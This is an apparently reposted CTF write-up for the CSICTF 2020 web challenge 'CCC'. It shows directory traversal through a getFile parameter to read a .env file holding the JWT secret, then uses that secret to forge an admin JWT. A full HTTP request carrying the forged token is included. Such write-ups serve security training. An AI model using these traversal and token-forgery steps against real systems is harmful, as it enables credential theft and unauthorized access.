CCC

发表于 2021-01-09 分类于 Challenge， 2020， CSICTF， Web
Challenge | 2020 | CSICTF | Web | CCC

点击此处获得更好的阅读体验

WriteUp来源

https://dunsp4rce.github.io/csictf-2020/web/2020/07/22/CCC.html

by `shreyas-sriram`

题目描述

> *You can steal a car if you steal its key.*

题目考点

解题思路

- *We are given a complex-looking-fancy website which has numerous dummy links and only 2 useful links*
- *The useful links are :*
- *`/adminNames`*
- *`/login`*
- *`/adminNames` redirects to `/getFile=file=admins` and a file with the following contents is obtained :*
- *`csivitu/authorized_users/blob/master/`*
- *Going through the above GitHub repository, we realize that it contains the `usernames` of admins and script to retrieve their `ssh-rsa public keys`*
- *`/login` takes us to a login page :*
- *On logging in, we receive a `JWT` in the `HTTP response header`*
- *Logging in with `admin:admin`, the response `JWT` decodes to (use JWT.IO) :*

```
{
  "username": "nqzva",
  "password": "nqzva",
  "admin": "snyfr",
  "iat": 1593506966
}
```

- *`nqzva` is the `ROT13` encoding of `admin` and `snyfr` is the `ROT13` encoding of `false` (use Cryptii)*
- *This is a hint that we need to forge the `JWT` token by setting `admin` as `true` along with a valid `username` (in `ROT13` encoded form)*
- *A valid username can be got from the GitHub repository obtained previously*
- *To get the `key` to sign the `JWT`, we try a bunch of common file names in the path `/getFile?file=<filename>`*
- *There is also a filename length limit of 7, this tells us that the file name is short and could be even shorter if we are to use `directory traversal`*
- *Trying `/getFile?file=../.env` (because `node.js app`), we get the `key` used to sign the `JWT` :*

```
JWT_SECRET=Th1sSECr3TMu5TN0Tb3L43KEDEv3RRRRRR!!1
```

- *Using the `key` and a valid `username`, we forge the `JWT` and sign it*
- *Visiting `/admin`, we get an error message :*

```
{"success": false,"message": "Invalid Token, Headers?"}
```

- *So we need to send the `JWT` to `/admin` to impersonate an admin*
- *Sending the `JWT` in `Authorization header` gets us the `ROT13` encoding of the flag*

Request

```
GET /admin HTTP/1.1
Host: chall.csivit.com:30215
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImVicmVidW5hIiwicGFzc3dvcmQiOiIiLCJhZG1pbiI6ImdlaHIiLCJpYXQiOjE1OTUzNDAwMDB9.m2y399u-xdRyzhpkix-stYf1St
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: __cfduid=d10b0dd80a123d45a9dabfaadb24dbc801595326165;
Connection: close
```

Response

```
pfvpgs{1a_gu3_3aq_1g_q0rfa'g_3i3a_z4gg3e}
```

- *Decode the above to get the flag*

Flag

```
csictf{1n_th3_3nd_1t_d0esn't_3v3n_m4tt3r}
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/CSICTF/Web/v5kDWXztM1jrKeHgVc7bXf.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2020 # Web # CSICTF

The Usual Suspects
Prison Break